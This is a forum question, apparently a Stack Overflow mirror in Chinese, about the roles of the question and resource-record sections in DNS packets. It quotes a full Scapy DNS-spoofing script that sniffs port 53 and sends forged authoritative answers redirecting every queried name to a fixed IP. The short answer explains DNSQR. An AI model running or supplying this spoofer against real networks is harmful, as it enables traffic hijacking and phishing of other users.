代码之家  ›  专栏  ›  技术社区  ›  Merk

DNS数据包中不同类型的资源记录块的功能是什么?

  •  0
  • Merk  · 技术社区  · 7 年前

    我知道资源记录部分的结构,它是这样的: enter image description here

    但是当我阅读dns欺骗插件的源代码时,我完全迷失了方向:

        from scapy.all import *
    def dns_spoof(pkt):
        redirect_to = '172.16.1.63'
        if pkt.haslayer(DNSQR): # DNS question record
            spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                          DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                          an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
            send(spoofed_pkt)
            print 'Sent:', spoofed_pkt.summary()
    sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)
    

    QD和RRs之间有什么区别?为什么我们必须在这个数据包中使用QD?

    1 回复  |  直到 7 年前
        1
  •  0
  •   Merk    7 年前

    DNS qr应解释为客户端发送的查询数据。Scapy使用DNSQR字段来表示此结构。因此,更容易将qr部分与其他RR字段分离。